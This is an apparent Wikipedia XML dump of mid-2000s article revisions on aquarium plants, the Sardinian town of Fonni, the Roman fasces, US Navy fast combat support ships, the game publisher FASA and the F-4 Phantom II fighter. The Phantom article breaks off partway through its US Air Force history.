Common aquarium plant [[genus|genera]] and [[species]]:
* ''[[Alternanthera (aquarium)|Alternanthera sp.]]''
* ''[[Ammannia|Ammannia sp.]]''
* ''[[Anubias|Anubias sp.]]''
* ''[[Aponogeton|Aponogeton sp.]]''
* ''[[Azolla spp.]]''
* ''[[Bacopa|Bacopa sp.]]''
* ''[[Barclaya|Barclaya sp.]]''
* ''[[Blyxa|Blyxa sp.]]''
* ''[[Cabomba|Cabomba sp.]]'' ([[fanwort]])
* ''[[Ceratophyllum|Ceratophyllum sp.]]'' ([[Ceratophyllaceae|hornwort]])
* ''[[Ceratopteris|Ceratopteris sp.]]''
* ''[[Crinum|Crinum sp.]]''
* ''[[Cryptocoryne|Cryptocoryne sp.]]''  ([[water trumpet]])
* ''[[Echinodorus|Echinodorus sp.]]'' ([[sword plant]])
* ''[[Egeria (genus)|Egeria sp.]]''
* ''[[Hygrophila|Hygrophila sp.]]''
* ''[[Lemna]]'' ([[Lemnaceae|duckweed]]; floating plants)
* ''[[Limnophila|Limnophila sp.]]''
* ''[[Ludwigia|Ludwigia sp.]]''
* ''[[Marsilea|Marsilea sp.]]''
* ''[[Microsorum|Microsorum sp.]]''
* ''[[Myriophyllum|Myriophyllum sp.]]''
* ''[[Nymphaea|Nymphaea sp.]]''
* ''[[Pistia|Pistia sp.]]'' (water lettuce; floating plant)
* ''[[Riccia fluitans|Riccia fluitans]]''
* ''[[Rotala|Rotala sp.]]''
* ''[[Sagittaria|Sagittaria sp.]]''
* ''[[Salvinia spp.]]''
* ''[[Saururus cernuus|Saururus cernuus]]''
* ''[[Vallisneria|Vallisneria sp.]]''
* ''[[Vesicularia dubyana]]'' (Java moss)

==Fake or pseudo-aquarium plants== 
Several species of land plants such as [[Sciadopitys|umbrella pine]] and [[aluminum plant]] (''[[Pilea cadairei]]'') are also frequently sold as &quot;aquarium plants&quot;. While such plants are beautiful and can survive for some time under water, they will eventually die and must be removed so their decay does not contaminate the aquarium water.

There are 3 categories of pseudo-aquarium plants:
* [[#List of semi-aquatic plants|Semi-aquatic plants]], that live near water or in marshes, but cannot live fully submerged. They usually last for about a year.
* [[#Garden plants|Garden plants]], which usually last from 2 weeks to a maximum of 6 months.
* [[#Rock plants|Rock plants]], which usually last for less than 2 months.

====List of semi-aquatic plants====
* Acorus sp.
* Alisma sp.
* Baumea sp.
* Canna sp.
* Colocasia sp. 
* Crinum americanum 
* Cyperus sp.
* Dichichium sp.
* Equisetum sp.
* Eriophorum sp.
* Euryale ferox sp.
* Hibiscus sp.
* Houttuynia sp.
* Hymenocallis sp.
* Ipomea sp.
* Iris sp.
* Juncus sp.
* Lobelia sp.
* Lysimachia sp.
* Myosotis sp.
* Orontium sp.
* Pontederia sp.
* Ranunclus sp.
* Scripus lacustris
* Thalia dealbata

====Garden plants====
* Actinidia sp.
* Aglaonema sp.
* Ceanothus sp.
* Chamaerops sp.
* Caladium sp.
* Cyperus sp.
* Cordyline sp.
* Dieffenbachia sp. - also poisonous
* Dracaena sp.
* Fittonia sp.
* Hemigraphis sp.
* Hottonia sp.
* Ophipogon sp.
* Rosmarinus sp.
* Spatiphyllum sp. - also poisonous
* Syngonium sp.

====Rock plants====
* Ajuga pyramidalis
* Acantholimon sp.
* Dianthus erinaceus

== See also ==
[[List of freshwater aquarium fish species]]

{{plant-stub}}
[[Category:Fishkeeping]]
[[Category:Aquatic plants]]
[[Category:Lists of plants]]</text>
    </revision>
  </page>
  <page>
    <title>Fonni</title>
    <id>11754</id>
    <revision>
      <id>38272077</id>
      <timestamp>2006-02-05T06:12:58Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
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      <comment>Removing image with no copyright information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Stemmafonni.jpg]] --&gt;

FONNI is a town in Sardinia, in the province of Nuoro, 328o ft. above sea-level. Population (Census 1991) 4323. 
It is the highest village in Sardinia, and situated among fine scenery with some chestnut woods. Fonni is a winter sports centre with a ski lift to Monte Spada and Bruncu Spina. 

==History==
&quot;Fonni&quot; probably derives from the Latin &quot;fons&quot; that it means Fontain or also ' God of the sources '. In fact the village counts numerous spring fountains.
A little to the south. of Fonni, stood the Roman station of Sorabile, mentioned in the Antonine Itinerary as situated 87 m. from Carales on the road to Olbia. Excavations made in 1879 and 1880 led to the discovery of the remains of this station, arranged round three sides of a courtyard some roo ft. square, including traces of baths and other buildings, and a massive embanking wall above them, some 150 ft. in length, to protect them from landslips (F. Vivanet, in Notizie degli scavi, 1879, 350; 1881, 31), while a discharge certificate (tabula honestae missionis) of sailors who had served in the classis Ravennas was found in some ruins here or hereabouts (id. ib., 1882, 440; T. Mommsen, Corp. inscr. Lat. x. 8325). Near Fonni, too, are several &quot; menhirs &quot; (called pietre celtiche in the district) and other prehistoric remains.

==Monuments==
There is the very important Sanctuary of the [[Vergine dei Martiri]] from the XVIII century which is a destination for pilgrims right next to the Franciscans Convent.The church was built in 1708 in Baroque Style and contains some curious paintings by local artists.
Another important church built in the XI century is the Patron Saint church of [[San Giovanny Battista]], located in the oldest section of the village also know as &quot;Su Piggiu&quot;.
[[Image:fonni_san_giov.jpg]]

==Costumes==
The local costumes are extremely picturesque, and are well seen on the day of St John the Baptist, the patron saint. The men's costume is similar to that worn in the district generally; the linen trousers are long and black gaiters are worn. The women wear a white chemise; over that a very small corselet, and over that a red jacket with blue and black velvet facings. The skirt is brown above and red below, with a blue band between the two colours; it is accordion-pleated. Two identical skirts are often worn, one above the other. The unmarried girls wear white kerchiefs, the married women black.</text>
    </revision>
  </page>
  <page>
    <title>Fasces</title>
    <id>11755</id>
    <revision>
      <id>41434145</id>
      <timestamp>2006-02-27T07:42:18Z</timestamp>
      <contributor>
        <ip>60.234.226.62</ip>
      </contributor>
      <comment>tweaks</comment>
      <text xml:space="preserve">[[Image:Fasces.png|frame|Roman ''fasces''.]]
'''Fasces''' (the plural, almost a ''[[plurale tantum]]'', of the Latin word ''fascis'', 'bundle')  symbolise summary [[power (sociology) |power]] and jurisdiction. 

The traditional Roman ''fasces'' consisted of a bundle of [[birch]] rods tied together with a red ribbon as a cylinder around an [[axe]].

The coined term [[fascism]] ultimately descends from this Latin root.  Although the victorious powers after [[World War II]] largely suppressed the National Socialist use of the [[swastika]] and subsequently banned any use of the symbol in many countries, the fasces as used in fascist [[Italy]] (and before) remain in widespread international use.

==Antiquity==
[[Image:Cincinnatus_statue.jpg|thumb|left|A statue of [[Cincinnatus]] resigning from dictatorship by returning the Roman fasces]]
The '''''fasces lictoriae''''' (&quot;bundles of the [[lictor]]s&quot;) (in Italian,  '''fascio littorio''') [[symbol]]ised  power and authority (''[[imperium]]'') in ancient [[Rome]]. 
A corps of ''apparitores'' (subordinate officials) called ''[[lictor]]s'' each carried fasces as a sort of [[staff of office]] before a magistrate, in a number corresponding to his rank, in public ceremonies and inspections, and bearers of fasces preceded [[praetor]]s, [[propraetor]]s, [[consul]]s, [[proconsul]]s, [[Master of the Horse|Masters of the Horse]], [[Roman dictator|dictator]]s, and [[Caesar (title)|caesar]]s. During [[Roman triumph|triumph]]s (public celebrations held in Rome after a military conquest) heroic soldiers — those who had suffered injury in battle — carried fasces in procession.

Roman historians recalled that twelve lictors had ceremoniously accompanied the [[Etruria|Etruscan]] kings of Rome in the distant past, and sought to account for the number and to provide etymologies for the name ''lictor''. 

The symbolism of the fasces at one level suggested strength through unity. The rods symbolized the state's power to punish delinquents. The axe represented the ultimate power of high justice to execute ([[decapitate]]), and has a long history in the eastern Mediterranean: see [[labrys]], the [[Anatolia]]n and [[Minoan civilization|Minoan]] double-headed axe.

Traditionally, fasces carried within the ''[[Pomerium]]'' - the limits of the sacred inner City of Rome - had their axe blades removed. This signified that under normal political circumstances, the ''[[imperium]]''-bearing magistrates did not have the judicial power of life and death. That power rested, within the city, with the people through the assemblies.  [[Lictor]]s attending to dictators, however, kept the axe blades even inside the ''Pomerium'' — a sign that a dictator had the ultimate power in his own hands. But in [[48 BC]], guards holding bladed fasces guided [[Publius Servilius Isauricus|Isauricus]] to the tribunal of [[Marcus Caelius Rufus|Marcus Caelius]], and Isauricus used one to destroy Caelius's magisterial chair (''[[sedia curulis]]'').

==Various modern authorities==
[[Image:Kanton St.Gallen.png|thumb|right|The flag of the Swiss [[canton of St. Gallen]] has displayed the fasces since [[1803]]]]
The following cases all involve the adoption of the fasces as a symbol or icon; no actual physical re-introduction as a (highly symbolic) implement. 
* [[Napoleon I of France|Napoleon]] the [[French Revolution]]; this emblem remains on the front cover of French [[passport]]s and [[French coat of arms]]
* The Spanish paramilitary police [[Guardia Civil (Spain)|Guardia Civil]]
* In the [[1920s]], Italian Fascism, eager to portray itself as a revival of the glorious Roman imperial past, adopted the fasces for its symbol, as an emblem of the increased strength of the individual ''fascis'' when bound into the entire bundle    
* Used as part of the [[Knights of Columbus]] emblem (designed in 1883)
* At the [[Lincoln Memorial]], Lincoln's seat of state bears the fasces on the fronts of its arms.
* The fasces appears on the [[Seal of Colorado|state seal of Colorado]], USA, beneath the [[All-seeing eye]] and above the mountains and mines.
* Two fasces appear on either side of the [[flag of the United States]] in the [[United States House of Representatives]], representing the power of the [[lower house]] and the [[United States of America|country]].
* A frieze on the facade of the [[Supreme Court of the United States#Quarters|Supreme Court building]] depicts the figure of a Roman [[Centurion]] holding a fasces, to represent &quot;order.&quot; [http://www.supremecourthistory.org/04_library/subs_volumes/04_c01_e.html] Further, the official seal of the Senate has as one component a pair of crossed fasces. 
* The reverse of the United States [[Dime (U.S. coin)#&quot;Mercury&quot; dimes (1916-1945)|&quot;Mercury&quot; dime]] (minted from 1916 to 1945) bears the design of a [[:Image:Fasces.jpeg|fasces]] and an olive branch.
* On the seal of the [[New York City]] borough of [[Brooklyn]], a figure carries a fasces; the seal appears on the borough flag.
* Both the [[Norway|Norwegian]] and the [[Sweden|Swedish]] police use double fasces in their logos.

==See also==
[[Image:fasces.jpeg|thumb|left|[[Dime (U.S. coin)#&quot;Mercury&quot; dimes (1916-1945)|US mercury dime]] reverse.]]
* [[fascio]] (usage [[1890]]s to [[World War I]])
* [[ferula#artefact|ferula]]
* [[Labrys]]
* [[staff of office]]
* [[fascine]]
* [[francisca]]

==External links==
*[http://home.uchicago.edu/~janie/fasces.htm A definition]
*[http://www.crwflags.com/fotw/flags/fasces.html Fasces on flags]
*[http://www.legionxxiv.org/fasces%20page/ The fasces as Ancient Roman icon]

[[Category:Ancient Rome]]
[[Category:Symbols]]

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  </page>
  <page>
    <title>Fifteen puzzle</title>
    <id>11756</id>
    <revision>
      <id>15909480</id>
      <timestamp>2004-01-16T00:37:28Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>rediurecting</comment>
      <text xml:space="preserve">#redirect [[n-puzzle]]</text>
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  </page>
  <page>
    <title>Fast combat support ship</title>
    <id>11757</id>
    <revision>
      <id>35327767</id>
      <timestamp>2006-01-15T23:26:43Z</timestamp>
      <contributor>
        <username>Hurricane111</username>
        <id>99272</id>
      </contributor>
      <comment>add external links</comment>
      <text xml:space="preserve">[[Image:USNS Arctic T-AOE-8 2005.jpg|thumb|250px|The fast combat support ship USNS ''Arctic'' (T-AOE-8) conducting a replenishment at sea.]]
The '''fast combat support ship (AOE)''' is the [[United States Navy]]'s largest combat logistics ship, designed as oiler, ammunition and supply ship. The AOE has the speed and armament to keep up with the carrier battle groups. It rapidly replenishes Navy task forces and can carry more than 177,000 barrels of oil (28,000 m&amp;sup3;), 2,150 tons of ammunition, 500 tons of dry stores and 250 tons of refrigerated stores. It receives petroleum products, ammunition and stores from shuttle ships and redistributes these items simultaneously to carrier battle group ships. This reduces the vulnerability of serviced ships by reducing alongside time. Congress appropriated the funds for the lead ship of the AOE 6 (''Supply'' class) in [[1987]]. 

=== General characteristics, ''Supply'' class ===
*Builders: [[National Steel and Shipbuilding]] Company, [[San Diego, California]].
*Power Plant: four [[General Electric LM2500]] [[gas turbine]]s; two shafts; 105,000 hp (78 MW)
*Length: 754 ft (229.9 m)
*Beam: 107 ft (32.6 m)
*Displacement: 48,800 tons full load
*Speed: 25 knots (46 km/h)
*Aircraft: Three [[CH-46 Sea Knight|CH-46E Sea Knight]] helicopters
*Ships: 
**[[USNS Supply (T-AOE-6)|USS ''Supply'' (AOE-6)]], [[Naval Weapons Station Earle|Earle, New Jersey]]
**[[USNS Rainier (T-AOE-7)|USS ''Rainier'' (AOE-7)]], [[Naval Base Kitsap|Bremerton, Washington]]
**[[USNS Arctic (T-AOE-8)|USS ''Arctic'' (AOE-8)]], [[Naval Weapons Station Earle|Earle, New Jersey]]
**[[USNS Bridge (T-AOE-10)|USS ''Bridge'' (AOE-10)]], [[Naval Base Kitsap|Bremerton, Washington]]
*Crew: 40 officers, 627 enlisted
*Armament: [[NATO]] [[AIM-7 Sparrow|Sea Sparrow]] missiles, two Phalanx close-in weapons systems, two 25mm machine guns
*Date Deployed: [[February 26]], [[1994]] &amp;mdash; USS ''Supply'' (AOE 6)

=== General characteristics, ''Sacramento'' Class ===
*Builders: 
**AOE 1, 3, 4, [[Puget Sound Naval Shipyard]]
**AOE 2, [[New York Shipbuilding Corporation]]
*Unit Cost: $458-568 million
*Power Plant: Four boilers, geared turbines, two shafts, 100,000 shaft horsepower (75 MW)
*Length: 793 ft (237.9 m)
*Beam: 107 ft (32.1 m)
*Displacement: 53,000 tons full load
*Speed: 26 knots (48 km/h)
*Aircraft: Two [[CH-46 Sea Knight|CH-46E Sea Knight]] helicopters
*Ships: 
**[[USS Sacramento (AOE-1)|USS ''Sacramento'' (AOE-1)]], [[Bremerton, Washington]]
**[[USS Camden (AOE-2)|USS ''Camden'' (AOE-2)]], [[Naval Base Kitsap|Bremerton, Washington]]
**[[USS Seattle (AOE-3)|USS ''Seattle'' (AOE-3)]], [[Naval Weapons Station Earle|Earle, New Jersey]]
**[[USS Detroit (AOE-4)|USS ''Detroit'' (AOE-4)]], [[Naval Weapons Station Earle|Earle, New Jersey]]
*Crew: 24 officers, 576 enlisted
*Armament: [[NATO]] [[AIM-7 Sparrow|Sea Sparrow]] missiles, two Phalanx close-in weapons systems.
*Date Deployed: [[March 14]], [[1964]] &amp;mdash; USS ''Sacramento'' (AOE 1)

==External links==
*[http://www.naval-technology.com/projects/aoe6/ Naval Technology]
*[http://www.msc.navy.mil/factsheet/t-aoe.asp US Navy Military Sealift Command]

[[Category:Ship types]]</text>
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  </page>
  <page>
    <title>FASA</title>
    <id>11758</id>
    <revision>
      <id>39546692</id>
      <timestamp>2006-02-14T05:18:11Z</timestamp>
      <contributor>
        <ip>203.4.250.145</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the role-playing game company. See also the [[Federated Ambulatory Surgery Association]], a trade group representing the [[ambulatory surgery]] industry.''

'''FASA Corporation''' was a American publisher of [[role-playing game]]s, [[wargame]]s and [[boardgame]]s from [[1981]] till [[2001]]. Originally the name FASA was an acronym for &quot;[[Freedonia]]n Aeronautics and Space Administration&quot;, a joking allusion to the [[Marx Brothers]] film [[Duck Soup]], though in later years the letters of the name did not actually stand for anything.

FASA first appeared as a [[Traveller (rpg)|Traveller]] licensee, producing supplements for that [[GDW]] [[role-playing game]], especially the work of the [[Keith Brothers]]. The company went on to establish itself as major gaming company with the publication of the first licensed [[Star Trek]] [[Role-playing game|RPG]], then several successful original games.  Noteworthy lines included [[Battletech]] and [[Shadowrun]]. Their Star Trek role-playing supplements and tactical ship game enjoyed popularity outside the gaming hobby as, at the time, offical descriptions of the Star Trek universe were not common, and the gaming supplements offered details the fans craved. The wildly successful [[Battletech]] line led to a series of [[video games]], some of the first [[virtual reality]] gaming suites and a Saturday-morning animated [[TV]] show.

Games published by FASA included:

*[[Star Trek RPG (FASA)|Star Trek]]
*[[BattleTech]] ([[MechWarrior]])
*[[Shadowrun]]
*[[Renegade Legion]]
*[[Earthdawn]]
*[[Crimson Skies]]
*[[VOR:_The_Maelstrom|VOR the Maelstrom]]
*[[Crucible]]
*[[Doctor Who]]

FASA unexpectedly ceased active operations in early [[2001]], but still exists as a corporation holding [[intellectual property|IP]] (intellectual property rights) which it licenses to other publishers. Contrary to popular belief, the company did not go bankrupt. Allegedly the owners decided to quit while the company was still financially sound in a market they perceived as going downhill.

The [[BattleTech]], [[Shadowrun]] and [[Earthdawn]] properties were licensed off to [[WizKids]], who in turn licensed their publication to [[Fantasy Productions|FanPro LLC]]. However, the [[Earthdawn]] license was recently returned to FASA. [[Living Room Games]] publishes [[Earthdawn]] (Second Edition) while [[RedBrick Limited]] now holds a license to continue publishing First Edition material. [[Crimson Skies]] was originally developed by [[FASA Interactive]], a computer game company created by FASA proper in the late 1990s and used under license by FASA; FASA Interactive had been purchased by [[Microsoft]], so naturally the rights for Crimson Skies stayed with Microsoft. Rights to the [[Miniature figure|miniature]]s game [[VOR:_The_Maelstrom|VOR the Maelstrom]] reverted to the designer Mike &quot;Skuzzy&quot; Nielson, but it has not been republished in any form due partly to legal difficulties.

[[Category:BattleTech]]
[[Category:Earthdawn]]
[[Category:Role-playing game publishing companies]]

[[de:FASA]]
[[it:FASA]]</text>
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  <page>
    <title>F-4 Phantom II</title>
    <id>11759</id>
    <revision>
      <id>42112575</id>
      <timestamp>2006-03-03T22:25:30Z</timestamp>
      <contributor>
        <username>Emt147</username>
        <id>545524</id>
      </contributor>
      <comment>/* Operational history */ +refs</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
:'''''F-4''''' ''redirects here; for other uses, see [[F4]].''
[[Image:F-4 Phantom II in flying.jpg|right|thumb|300px|USAF F-4E Phantom II dropping 500 lb (227 kg) [[Mark 82 bomb]]s. Note the sooty exhaust trail.]]

The '''[[McDonnell Douglas]] F-4 Phantom II''' is a two-place (tandem), supersonic, long-range, all-weather fighter-bomber. An unmistakable icon of the [[Cold War]] and the first modern [[air superiority]] fighter, the Phantom entered service with US military in the early 1960s and remains on active duty in several countries to this day. Shortly after its debut, the aircraft broke 16 world records for speed and altitude. Amazingly flexible, the Phantom easily expanded its original air defense role to include tactical reconnaissance and ground attack with conventional and nuclear munitions.

==Development==
In [[1953 in aviation|1953]], McDonnell Aircraft began work on modernizing its [[F3H Demon]] naval fighter. Seeking expanded capabilities and better performance, the company developed several projects including '''F3H-E''' with a Wright J67 engine, '''F3H-G''' with two [[Wright J65]] engines, and '''F3H-H''' with two [[General Electric J79]] engines. The J79-powered version promised a top speed of [[Mach number|Mach]] 1.97. On [[19 September]] [[1953]], McDonnell approached [[US Navy]] with their proposal for a &quot;Super Demon.&quot; Uniquely, the aircraft was to be modular -- it could be fitted with a one- or two-seat noses for different missions, and could have different nose cones to accommodate radar, photo cameras, four 20 mm cannons, or 56 [[FFAR]] unguided rockets in addition to 9 hardpoints under the wings and fuselage. The Navy was sufficiently interested to order a full-size mockup of the F3H-G/H but felt that the upcoming [[F9F Panther|Grumman XF9F-9]] and [[F-8 Crusader|Vought XF8U-1]] already satisfied the need for a supersonic fighter. The McDonnell design was therefore reworked into an all-weather fighter-bomber with eleven external hardpoints for weapons and on [[18 October]] [[1954 in aviation|1954]] the company received a letter of intent for two '''YAH-1''' prototypes. On [[26 May]] [[1955 in aviation|1955]], four Navy officers arrived at the McDonnell offices and within an hour presented the company with an entirely new set of requirements. The project was now an all-weather fleet defence interceptor. The addition of a powerful radar necessitated a second crewman. In a fateful decision, the aircraft was to be armed only with missiles.

The '''XF4H-1''' was redesigned to carry four semi-recessed [[AIM-7 Sparrow|AAM-N-6 Sparrow III]] radar-guided missiles and fitted with J79-GE-8 engines. Like in the [[F-101 Voodoo]], the engines sat low in the fuselage to maximize internal fuel capacity and ingested air through fixed geometry intakes. The thin-section wing had a 45° leading edge sweep and was equipped with a [[boundary layer control system]] for better low-speed handling, a must for a carrier-borne aircraft. [[Wind tunnel]] testing revealed lateral instability requiring the addition of 5° dihedral to the wings. To avoid redesigning the titanium central section of the aircraft, McDonnell engineers angled up only the outer portions of the wings by 12° which averaged to the required 5° over the entire wingspan. The wings also received the distinctive &quot;dogtooth&quot; for improved control at high [[Angle of attack|angles of attack]]. The all-moving tailplane was given 23° of anhedral to improve control at high angles of attack and clear engine exhaust (the anecdote that it was the result of someone stepping on the blueprints has no substance). In addition, air intakes were equipped with movable ramps to regulate airflow to the engines at supersonic speeds. All-weather intercept capability was achieved thanks to the [[AN/APQ-50]] radar. To accommodate carrier operations, landing gear was designed for landings with a sink rate of 23 ft/s (7 m/s). The nose strut could extend by some 20 in (50 cm) to increase angle of attack at takeoff (Donald 2002).

To continue the McDonnell tradition of demonic names, F4H was initially going to be named &quot;Satan&quot; or &quot;[[Mithras]].&quot; Under pressure from the government, the aircraft given a less controversial name &quot;Phantom II,&quot; the first &quot;Phantom&quot; being another McDonnell jet fighter, the [[FH-1 Phantom|FH-1]]. Since FH-1 was long out of service, the aircraft was usually referred to a simply the &quot;Phantom.&quot;

On [[25 June]] [[1955 in aviation|1955]], Navy ordered two XF4H-1 test aircraft and five '''YF4H-1''' pre-production fighters. The Phantom made its maiden flight on [[27 May]] [[1958 in aviation|1958]] with Robert C. Little at the controls. A hydraulic problem precluded retraction of landing gear but subsequent flights went more smoothly. Early testing resulted in redesign of the air intakes, including the addition of distinctive 12,500 bleed air holes on each ramp, and the aircraft soon squared off against [[F-8 Crusader|Vought XF8U-3 Crusader III]]. The Navy wanted a two-seat aircraft and on [[17 December]] [[1958]] the F4H was declared a winner. Due to delays with J79-GE-8, the first production aircraft had J79-GE-2 and -2A engines with 16,100 lbf (71.8 kN) of [[afterburner]] thrust. In [[1959 in aviation|1959]], Phantom began carrier trials with the first complete launch-recovery cycle performed on [[15 February]] [[1960 in aviation|1960]] from [[USS Independence]].

Early in production, the radar was upgraded to a larger AN/APQ-72 necessitating the bulbous nose and the canopy was reworked to make the rear cockpit less claustrophobic. The changes did little to improve the Phantom's appearance, with one critic saying it looked like someone stepped on its nose and kicked it in the butt. Overall, the Phantom underwent a great many changes during its career which are summarized in the &quot;Variants&quot; section below.

The [[US Air Force]] received Phantoms as the result of [[Robert McNamara]]'s push to create a unified fighter for all branches of the military. After F-4B won the '''Operation Highspeed''' fly-off against [[F-106 Delta Dart]], the USAF borrowed two Naval F-4Bs, temporarily designating them '''F-110A Spectre''' and developed requirements for their own version. With unification of designations in 1962, the Phantom became the '''F-4''' with Naval version designated F-4B and USAF F-4C.

Phantom II production ended in the United States in [[1979 in aviation|1979]] after 5,057 had been built, making it the second most numerous US jet after [[F-86 Sabre]] mdash; more than 2,800 went to the USAF, about 1,200 to the Navy and Marine Corps, and the rest to foreign customers. The last U.S.-built F-4 went to Turkey, while the last F-4 ever built was completed in [[1981 in aviation|1981]] as an F-4EJ by [[Mitsubishi Heavy Industries]] in Japan.

===World record breaker===
Eager to show off their new fighter, the Navy led a series of record-breaking flights early in Phantom development.

* '''Operation Top Flight''' - on [[6 December]] [[1959]], the second XF4H-1 with performed a zoom climb to a world record 98,557 ft (30,040 m). The previous record of 94,658 ft (28,852 m) was set by a Soviet [[Sukhoi Su-9|Sukhoi T-43-1]] prototype. Commander Lawrence E. Flint, Jr accelerated his aircraft to Mach 2.5 at 47,000 ft (14,330 m) and climbed to 90,000 ft (27,430 m) at a 45° angle. He then shut down the engines and glided to the peak altitude. As the aircraft fell through 70,000 ft (21,300 m), Flint restarted the engines and resumed normal flight.
* On [[5 September]] 1960, an F4H-1 averaged 1,216.78 mph (1,958.16 km/h) over a 311 mi (500 km) closed-circuit course.
* On [[25 September]] 1960, an F4H-1 averaged 1,390.21 mph (2,237.26 km/h) over a 62 mi (100 km) closed-circuit course.
* '''Operation Lana''' - to celebrate 50th anniversary of Naval aviation, on [[24 May]] [[1961 in aviation|1961]], Phantoms flew across continental United States in under three hours in spite of several tanker refuelings. The fastest of the aircraft averaged 869.74 mph (1,400.28 km/h) and completed the trip in 2 hours 47 minutes winning pilot Lt. Richard Gordon and navigator Lt. Bobbie Long the 1961 [[Bendix trophy]]. 
* '''Operation Sageburner''' - on [[28 August]] [[1961]], a Phantom averaged 902.769 mph (1,452.826 km/h) over a 3 mi (1.86 km) course flying below 125 ft (40 m) at all times. Navy Commander J.L. Felsman was killed during the first attempt at this record on [[18 May]] [[1961]] when his aircraft disintegrated in the air after pitch dampener failure.
* '''Operation Skyburner''' - on [[22 December]] [[1961]], a modified Phantom with water-methanol injection set an absolute world record speed of 1,606.342 mph (2,585.086 km/h).
* On [[5 December]] [[1961]], another Phantom set a sustained altitude record of 66,443.8 ft (20,252.1 m).
* '''Operation High Jump''' - a series of time-to-altitude records set in early [[1962 in aviation|1962]]; 34.523 s to 3,000 m (9,840 ft), 48.787 s to 6,000 m (19,680 ft), 61.629 s to 9,000 m (29,530 ft), 77.156 s to 12,000 m (39,370 ft), 114.548 s to 15,000 m (49,210 ft), 178.5 s to 20,000 m (65,600 ft), 230.44 s to 25,000 m (82,000 ft), and 371.43 s to 30,000 m (98,400 ft). Although not officially recognized, the Phantom zoom-climbed to over 100,000 ft (30,480 m) during the last attempt.

All in all, the Phantom set 16 world records. With the exception of Skyburner, all records were achieved in unmodified production aircraft (Donald 2002).

[[Image:F4Phantom.JPG|thumbnail|right|300px|F-4S Phantom II]]

==Operational history==
===US Navy===
On [[30 December]] 1960, the [[VF-121]] Pacemakers became the first Phantom operator with its F4H-1Fs (F-4As). The [[VF-74]] Be-devilers at [[NAS Oceana]] became the first deployable Phantom squadron when it received its F4H-1s (F-4Bs) on [[8 July]] 1961. The squadron completed carried qualifications in October 1961, and Phantom's first full carrier deployment between August 1962 and March 1963 aboard [[USS Forrestal (CVA-59)]]. The second deployable [[U.S. Atlantic Fleet]] squadron to receive F-4Bs was the [[VF-102]] Diamondbacks who promptly took their new aircraft on the [[shakedown (testing)|shakedown cruise]] of the [[USS Enterprise (CVAN-65)]]. The first deployable [[U.S. Pacific Fleet]] squadron to receive the F-4B was the [[VF-114]] Aardvarks which participated in the September 1962 cruise aboard [[USS Kitty Hawk (CVA-63)]]. By [[Tonkin Gulf incident]], 13 of 31 deployable Navy squadrons were armed with the type. F-4Bs from [[USS Constellation (CV-64)]] made the first Phantom combat sortie of the [[Vietnam War]] on [[5 August]] [[1964]], flying bomber escort in [[Operation Pierce Arrow]]. The first Phantom air-to-air victory of the war took place on [[9 April]] [[1965]] when F-4B from [[VF-96]] Fighting Falcons piloted by Lt JG Terence M. Murphy shot down a Chinese [[Mikoyan-Gurevich MiG-17]]. The Phantom was then shot down, apparently by an AIM-7 Sparrow from one of its wingmen. On [[17 June]] [[1965]], F-4B from [[VF-21]] Freelancers piloted by Cdr Thomas C. Page and Lt John C. Smith shot down the first North Vietnamese MiG of the war. On [[10 May]] 1972, [[Randy &quot;Duke&quot; Cunningham]] and [[William P. Driscoll]] flying an F-4J Showtime 100 shot down three MiGs to become the first [[flying ace]]s of the war. Their fifth victory was over the mysterious North Vietnamese ace [[Nguyen Toon|Colonel Tomb]]. On the returning flight, the Phantom was damaged by an enemy SAM. To avoid being captured, Cunningham and Driscoll flew upside-down (the damage made the aircraft uncontrollable in a conventional attitude) and on fire until they could eject over water. During the war, Navy Phantom squadrons participated in 84 combat tours with F-4Bs, F-4Gs, and F-4Js. The Navy claimed 41 air-to-air victories at the cost of 71 aircraft lost to enemy fire (5 to aircraft, 13 to [[surface-to-air missile|SAMs]], and 53 to [[anti-aircraft warfare|AAA]]). An additional 54 aircraft were lost in accidents. By 1983, the F-4Ns have been completely replaced with [[F-14 Tomcat]]s, and by 1986 the last F-4Ss were exchanged for [[F/A-18 Hornet]]s. On [[25 March]] 1986, an F-4S belonging to [[VF-161]] Chargers became the last Navy Phantom to launch from an aircraft carrier ([[USS Midway (CV-41)]]). On [[18 October]] 1986, F-4S from [[VF-202]] Superheats made the last-ever Phantom carrier landing aboard [[USS America (CV-66)]]. In 1987, the last of the Naval Reserve-operated F-4Ss were replaced by F-14s. The only Phantoms still in service with the Navy are the QF-4 target drones operated by the [[Pacific Missile Test Center|Naval Air Warfare Center]]s (Donald 2002).

===US Marines===
The Marines received their first F-4Bs in June 1962, with the [[VMFA-314]] Black Knights becoming the first operational squadron. In addition to attack variants, the Marines also operated several tactical reconnaissance RF-4Bs. Marine Phantoms from [[VMFA-531]] Gray Ghosts arrived in Vietnam on [[10 April]] 1965, flying close air support missions from land bases as well as from [[USS America (CVA-66)]]. The Marines claimed 3 enemy MiGs at the cost of 75 aircraft lost in combat and 4 in accidents. On [[18 January]] 1992, the last Marine Phantom, an F-4S, was retired by [[VMFA-112]] Cowboys. The squadron was re-equipped with F/A-18 Hornets. 

===US Air Force===
At first reluctant to adopt a Navy fighter, the USAF quickly embraced the design and became the largest Phantom user. The first USAF Phantoms in Vietnam were F-4Cs from [[555th Tactical Fighter Squadron]] Triple Nickel which arrived in December 1964. Unlike the Navy, the Air Force initially flew its Phantoms with a pilot rather than a radar intercept officer (RIO) in the back seat. USAF F-4Cs scored their first victory against a Vietnamese MiG-17 on [[10 July]] [[1965]]. On [[24 July]] 1965, an Air Force F-4C from the [[47th Tactical Fighter Squadron]] became the first US plane to be downed by an enemy [[surface-to-air missile|SAM]]. Reconnaissance RF-4Cs made their debut in Vietnam on [[30 October]] 1965, flying the hazardous post-strike recce missions. Although the F-4C, being essentially identical to the Navy F-4B, carried the Navy-designed [[AIM-9 Sidewinder]] missiles, the USAF-tailored F-4Ds initially arrived with USAF-designed [[AIM-4 Falcon]]s. However, the Falcon was designed to shoot down slow bombers and proved worthless in combat, and F-4Ds quickly reverted to using Sidewinders. The attrition of the war resulted in a shortage of [[F-105 Thunderchief]] fighter-bombers and USAF pressed the Phantoms into the ground attack role. 